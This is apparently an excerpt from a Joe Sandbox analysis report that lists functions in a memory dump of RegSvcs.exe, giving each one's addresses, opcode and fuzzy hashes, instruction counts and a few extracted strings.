Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: cee5e9e58d18a06186865a76fee0a63ea6af412262f0e1b8059869396b0b8f25
Instruction ID: ffaa2a130fbc3ef51c7d15d501fc0498861f0c941a116f6e4d3f5eb16b080a8c
Opcode Fuzzy Hash: cee5e9e58d18a06186865a76fee0a63ea6af412262f0e1b8059869396b0b8f25
Instruction Fuzzy Hash: 3C41B3725083429BD710DB7AC940BABF7E8AF98714F440A6FF684E7260E674D905C793

Uniqueness

Uniqueness Score: -1.00%

Function 014DC730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 014DC77F

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 70b81e4cbf7bc00cc294a6219351c6bf2478ba01c89e2c35220d2f46572c348e
Instruction ID: 420e17c6fe2c0a7d8a04498461fbd99ff8ea790bb9aa2edcadae5525d62a3829
Opcode Fuzzy Hash: 70b81e4cbf7bc00cc294a6219351c6bf2478ba01c89e2c35220d2f46572c348e
Instruction Fuzzy Hash: 8B4175B1D0012DABDF21DA50CC95FDEB77CAB54714F0145AAE708AB150DB709E89CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 014E07C3 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

ym., xrefs: 014E07EE

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: ym.
API String ID: 0-3011085838
Opcode ID: 7d08698392fabf97d93f9fe6e0d475ec14b97111f7142f2c04bccbac8571f8d1
Instruction ID: c6b81c919224ca4d6b4bc6d98adec3ba52b09f71d9a5551f30f3213956bbf9d5
Opcode Fuzzy Hash: 7d08698392fabf97d93f9fe6e0d475ec14b97111f7142f2c04bccbac8571f8d1
Instruction Fuzzy Hash: 1741AEB16083419BD320DF29C845B9BBBE8FF98614F014A2FF5A8D7261D7709904CB92

Uniqueness

Uniqueness Score: -1.00%

Function 014F6B40 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

#, xrefs: 014F6B91

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: e036b7913a3030a2f92fb117fe5127ae06b487aae1eaf70d90e3df53b72eb1af
Instruction ID: 50f7215869fd16de41205cb903bfa3edb43af442dcb234efaf8f409e3b256a1e
Opcode Fuzzy Hash: e036b7913a3030a2f92fb117fe5127ae06b487aae1eaf70d90e3df53b72eb1af
Instruction Fuzzy Hash: 9A312831A003599AEB32CB69C850BEF7BA8DF15304F56402EEA80AB3A2C775DC05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014DCA72 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 014DCAA2

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 819c055c5b45a47ac8dcee2cb6e82e4cb6699cf6cd137f10e07c85e0cb7c96b2
Instruction ID: 7e9b0564f0400ca58655ce6fa857c763a4b91c15105f40c2158b6a53a8ead9b5
Opcode Fuzzy Hash: 819c055c5b45a47ac8dcee2cb6e82e4cb6699cf6cd137f10e07c85e0cb7c96b2
Instruction Fuzzy Hash: 9831E376900515AFEF16DB59D8A5E7FBB74EB90720F01412EE905AB260D730DE04EBE0

Uniqueness

Uniqueness Score: -1.00%

Function 014E892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 014E895E

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: edd072c2e3155247994180438e31216d0bf6889bd8b637e9cd803789112e875e
Instruction ID: 6515cdb15ec159b7c8d7515c3414d0915d31e9412f475f15e5bc9d352331c86a
Opcode Fuzzy Hash: edd072c2e3155247994180438e31216d0bf6889bd8b637e9cd803789112e875e
Instruction Fuzzy Hash: D501F7326103029BEB365B56D89CA5B7BE5FF91295B04042FFA811B271CB30B845D793

Uniqueness

Uniqueness Score: -1.00%

Function 01502000 Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8266bbfe8a112d55679c1822543cc8664f52aa130bf1abf8af96360674d04d1
Instruction ID: 4f610f36a8a745978243eda9fffd2940e6e864db6703e1f6b866546d2a1100e3
Opcode Fuzzy Hash: a8266bbfe8a112d55679c1822543cc8664f52aa130bf1abf8af96360674d04d1
Instruction Fuzzy Hash: A34208356083019FD726CFA9C894A6FBBE5BF94300F08492EFA868F290D771D945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 014F8158 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e055a5557fc405e8145403a4aa9bb1dc9ff90aff45082d78eec363beaf14c64
Instruction ID: 76709896bdb911627e39246d6254d7ed4ee744eeeb94bb5bd0e078d26ed36f72
Opcode Fuzzy Hash: 2e055a5557fc405e8145403a4aa9bb1dc9ff90aff45082d78eec363beaf14c64
Instruction Fuzzy Hash: 82424D75A0021A8FEB24CF69C841BAEBBF5BF58300F15819EEA49EB351D7349985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01472840 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f5bb522c664e6824ce54a590ed00275caaea493d8e5c8686ba8315d929224ba
Instruction ID: 8c29edad6540f211d82504b684af4eb47142ee16b4a33f5a6fb2fa27f0c54d5c
Opcode Fuzzy Hash: 3f5bb522c664e6824ce54a590ed00275caaea493d8e5c8686ba8315d929224ba
Instruction Fuzzy Hash: 0A321378A007558BDB65CF69C844BBFBBF2BF84B00F25811ED44A9B3A4D735A802CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01466A50 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3659e9974801899d34d844dc87a27c467989828aab4aa109f817c6aba6016f9
Instruction ID: 68dd30e494b54051b15c8b3dcfb26f6f48c0b19c0a8fa75a745167b997ae08e5
Opcode Fuzzy Hash: d3659e9974801899d34d844dc87a27c467989828aab4aa109f817c6aba6016f9
Instruction Fuzzy Hash: BB32CD74A00215CFDB25CF68C480BAABBF5FF48704F15856EE955AB3A2D734E842CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01484A35 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction ID: 3328825e2421c00640b0440f85e01bd943bf0ffec477755248095065d4d41b95
Opcode Fuzzy Hash: e8a3620866af67e9ba5ee0a5ffcffd4608486dc740fad13053f627f14a392904
Instruction Fuzzy Hash: BCF16075E0021A9BDB15EF99C580BAEBBF5FF44754F09812EE905AB360E734D842CB60

Uniqueness

Uniqueness Score: -1.00%

Function 014F892B Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc87c9daf7db3f45475fdf64763345ba4d3711db40b7cfa79c0359207cf75f89
Instruction ID: 05657f387e9072d418f712fd3cb461f180c3036c0074d9c5a03500ac2aecd0a4
Opcode Fuzzy Hash: cc87c9daf7db3f45475fdf64763345ba4d3711db40b7cfa79c0359207cf75f89
Instruction Fuzzy Hash: 35D1D071E0060A8BDF15CF69C841BBFB7B1EF88304F19816EDA55AB351E735E9068B60

Uniqueness

Uniqueness Score: -1.00%

Function 014665D0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c42ca60f7c9334980a4ebecfe9e6c31905679367575bed38d3c25c0e30dfd99
Instruction ID: 1abf3f57a65f3b8e434e46c90c57e7c80abb1da8362bef48510e7140c5c2f51b
Opcode Fuzzy Hash: 6c42ca60f7c9334980a4ebecfe9e6c31905679367575bed38d3c25c0e30dfd99
Instruction Fuzzy Hash: 53E1A571508341CFC715CF28C090A6BBBE5FF99318F05896EE99987361D731E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 01458397 Relevance: .4, Instructions: 380COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b85ba7a54726797d30e85c04cd86eeffab42c090d5f053ab81f4b6b92e2d54d
Instruction ID: d68e3a8b5eefad22eef2ebb8db84369653450ec771fd3689eda147c1e6a9514d
Opcode Fuzzy Hash: 7b85ba7a54726797d30e85c04cd86eeffab42c090d5f053ab81f4b6b92e2d54d
Instruction Fuzzy Hash: 31D1E371A00207DBDB54DF6AC890ABB77A5FF64204F04462FED16DB2A2EB30D951CB61

Uniqueness

Uniqueness Score: -1.00%

Function 014E8243 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction ID: 9c51a561ed1eb3ee1d01704a6180edc30b65150e9a4c2ebb94f856024802890d
Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
Instruction Fuzzy Hash: 47B18574A006069FDF24DF99C948EABBBF9FF94305F14446FAA42977A0DA34E905CB10

Uniqueness

Uniqueness Score: -1.00%

Function 01470535 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction ID: 8be5c5a69e7db24b8c5dfe4604e9f6443ceb866e84b55cee3247b5dd862920e0
Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
Instruction Fuzzy Hash: 35B127756056469FEB21CB68C960BBFBBF6AF85600F18015AE542DB3A1D730ED41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014683C0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e028c00a81804f02c6d41bdfc4797f172299da9de4e00aae393b185945707bd6
Instruction ID: 988f4d065f37f3d581105d20c37fa2ad5750b0003009abeefc807aef0a53ec3b
Opcode Fuzzy Hash: e028c00a81804f02c6d41bdfc4797f172299da9de4e00aae393b185945707bd6
Instruction Fuzzy Hash: C5C14674108342CFD764CF19C494BABB7E4BF98708F44492EE989873A1E774E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0145C427 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63d973b7154ba74ee190c73cbc465fe48d1f9715d94b8767e65a0d9cf494ce5
Instruction ID: bedc2a8028da5a9266076468c326e78cb8ea19a9c2042408e86b3bb3f5099e56
Opcode Fuzzy Hash: f63d973b7154ba74ee190c73cbc465fe48d1f9715d94b8767e65a0d9cf494ce5
Instruction Fuzzy Hash: C8B19670A002698BDB75CF59C880BA9B3F5EF54704F1485EAD90AEB351DB709D86CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0148E5E7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d278ccdd76786216b6481481c3321e8a12e576ec8679e0d4051ba64e710561
Instruction ID: 8fcb29e4185bef0db7bd8acceb5e17625fdb6f4c83ccb677b8887820f4ae5eb0
Opcode Fuzzy Hash: 52d278ccdd76786216b6481481c3321e8a12e576ec8679e0d4051ba64e710561
Instruction Fuzzy Hash: DFA10635E00655AFEB21EB5CC844BAEBBB5BB00B14F05012BEA11BB3B1D7789D45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 014A0185 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77d66f7ebaa88d1d0497581e4f4c5c9b7e659043461420a291219c3611a74d3f
Instruction ID: 4c75f95bb86bbf00d29b2a517a0767105d60a40416c882b0a8e2d805a8270590
Opcode Fuzzy Hash: 77d66f7ebaa88d1d0497581e4f4c5c9b7e659043461420a291219c3611a74d3f
Instruction Fuzzy Hash: 9AA1B271B017169BDB25DF69C5A0BAAB7A1FF64314F41402BEA05DB3A2DB34E812CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01534500 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 579793feb81d2c4740a09d47893dcb4f0a4f5c6b4cd67d827d8997d7c6586b0a
Instruction ID: 7dc4e44b1443b859191fa1415ec16b6b7a2da4b1c047e98bba3c840f4aa23ee9
Opcode Fuzzy Hash: 579793feb81d2c4740a09d47893dcb4f0a4f5c6b4cd67d827d8997d7c6586b0a
Instruction Fuzzy Hash: 78A1CD72A04252DFC722DF28C980B6ABBE9FF98704F45092DE5459F661D334ED01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01532B57 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
Instruction ID: ac4c74d110c30e5c9e59f75bcddb14e0bafa89919e619aef15286dd7146a90ee
Opcode Fuzzy Hash: 6ce3715ed4799cd0a993ea830d382c3077ea0590534c70b07cf682ff4d409637
Instruction Fuzzy Hash: FCB11A71E00A1ADFDF19CFADC880AADB7B5FF98310F148569E915AB354D730A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 014E60E0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72eb35159e91e4bfad985de986b325fb6457fc1c9a85366e4f8dc617e4f8d11a
Instruction ID: afe0c1f5fcd2fb46c218068e661b29dadb1c6d67e8e638b2d57ede9ee044e72d
Opcode Fuzzy Hash: 72eb35159e91e4bfad985de986b325fb6457fc1c9a85366e4f8dc617e4f8d11a
Instruction Fuzzy Hash: 3691C371D00216AFDF11DF69D888BBEBFF5AF68311F16416AE610AB361D734D9009BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0147E3F0 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0215e50a902af8ea898f48bb5bea6ad780df7637f477f954e73b6437e722027f
Instruction ID: 46a1e9ce1683097c968b5cdd3c07e3ed0ecfc39666083077c9520fe4aa255e3e
Opcode Fuzzy Hash: 0215e50a902af8ea898f48bb5bea6ad780df7637f477f954e73b6437e722027f
Instruction Fuzzy Hash: 7E914435A00616DBEB24DB69C440BFA7BA1FF94B14F0542ABE905AB370E734D902C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 014B6ACC Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5574ac813991df48158a20d9d38b22995387733dc361a8c8a54402fe56cf3de
Instruction ID: 0acce1b97f25ab470e5213bb424cb07670b0d253d300960fa783a5d7e6d2bd34
Opcode Fuzzy Hash: d5574ac813991df48158a20d9d38b22995387733dc361a8c8a54402fe56cf3de
Instruction Fuzzy Hash: 7981A2B1A0061A9BDB24CF69C980AFEBBF9FB58700F05852FE545D7650E334D941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0152AB40 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
Instruction ID: ef957ddcf87f3b46e03f7f6d733aecc6c40e76bce2cb3faf733e65e698a34a92
Opcode Fuzzy Hash: e20f57e4ff007d65908e0e6f7ea2c5d260c397918ed067619b1479e5480266a4
Instruction Fuzzy Hash: 3D818232A002169FDF19CF99C480AAEBBF6FF85310F148569E916AF785D734D901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0149E284 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d64f9338f74e4f42f59403d4c8bbfa08790c20fabab3cc3d5d69dbdb65b67b
Instruction ID: c32e4322a17887a06cbf652f1f56cde32ba75d12e4495bdca4f2507be31af18c
Opcode Fuzzy Hash: c8d64f9338f74e4f42f59403d4c8bbfa08790c20fabab3cc3d5d69dbdb65b67b
Instruction Fuzzy Hash: B2817F71A00609AFDF25CFA9C890AEEBBB9FF48314F10442EE555A7260D770AC45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0147C640 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1b9767f89fdb5d80b6ec2072b8437c7f1ce2d3ef71453b05d3dd61561ebe598
Instruction ID: 5ad7dac71bae39713bdeb75ff674f6645207c5356cc6f74c08cf75f2b3bc89f8
Opcode Fuzzy Hash: b1b9767f89fdb5d80b6ec2072b8437c7f1ce2d3ef71453b05d3dd61561ebe598
Instruction Fuzzy Hash: 4E71BD79C006669BCB258F59D8907FEBBB0FF58B10F15412FE956AB360D7309806CB90

Uniqueness

Uniqueness Score: -1.00%

Function 015147A0 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cacc9e75590eeb5968feeae0c489be4a325be0b85c115208fe00e6ded0ad1e2
Instruction ID: 07ea44277e330f6abdd38c7882793d9d8877d7ecf79e279c9588bb491c2dc9dc
Opcode Fuzzy Hash: 3cacc9e75590eeb5968feeae0c489be4a325be0b85c115208fe00e6ded0ad1e2
Instruction Fuzzy Hash: C4718FB1900385EFEB21CF99D950E9EBBFAFB90300F42565AE610AF268C7718944DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0147260B Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16a0ad4f5bd724863e4cdf43990b5a5011dfd0543a3a5d9c9fef768654485611
Instruction ID: 8948901a959585c93bee0d8a306f43d25c95b31da89bfad2a18f4ef3bd9d529b
Opcode Fuzzy Hash: 16a0ad4f5bd724863e4cdf43990b5a5011dfd0543a3a5d9c9fef768654485611
Instruction Fuzzy Hash: 7571CF356046429FD312DF2DC480BABB7E5FF84710F0585ABE8988B362DBB4D846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 014E035C Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
Instruction ID: 0f1e5b380021ac18ffb6e1b0f7c7f119a922633c78d18bb03241a37cec6a1156
Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
Instruction Fuzzy Hash: F2715F71A00619AFDB10DFAAC944EDEBBF9FF68700F10456AE505E7260DB74EA01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014F62A0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00cf9c84cd606dd12bbe1fdffa87a31de0a0c82f1d60ba31e1c84987b1ee7b1c
Instruction ID: 92d9232a3ddc23bcea8c2d059883338820d963f9945a1b2528860a0853499306
Opcode Fuzzy Hash: 00cf9c84cd606dd12bbe1fdffa87a31de0a0c82f1d60ba31e1c84987b1ee7b1c
Instruction Fuzzy Hash: 5F71E032200B01AFE732EF29C844F56BBA6EB50720F16492EE3168B7B0D775E944DB54

Uniqueness

Uniqueness Score: -1.00%

Function 01538324 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26120b1267fe505b04a85dc08a0bfbe718a3b6b1ec2a54047eff224445760f06
Instruction ID: f70d336f8479d7694261aa377a77adf3fb7744d32efedc2d853edef610613624
Opcode Fuzzy Hash: 26120b1267fe505b04a85dc08a0bfbe718a3b6b1ec2a54047eff224445760f06
Instruction Fuzzy Hash: 8971F972E00209BFDB15DF95CC41FEEBBB8FB54350F10461AB615AB290D774AA05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0151A250 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 885218c313272e212ea4279b68f3c6fe64578f47f472de2b7a96412ef4e170bb
Instruction ID: fc1e14404d48541bf6fab37129bea993f4e567189a2c4ab03bfb315f4b43b4f0
Opcode Fuzzy Hash: 885218c313272e212ea4279b68f3c6fe64578f47f472de2b7a96412ef4e170bb
Instruction Fuzzy Hash: 0251BF72506652AFE713DE68C844A5BB7E8FBD4750F05092ABA40DF154E7B0ED04C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01508350 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd9960377fe0360fdc26a17c491501322fa168c4b136a75f251048eafa372c4
Instruction ID: 0a5fdb7291bfa82e5802dd64991e30a44e8a576bf57ef2a10c11db3e1d14edbc
Opcode Fuzzy Hash: 5bd9960377fe0360fdc26a17c491501322fa168c4b136a75f251048eafa372c4
Instruction Fuzzy Hash: DE518D70900B05DBD722DF9AC880EABFBF8BFA4714F104A1ED2965B6E1C7B0A545CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0149E443 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

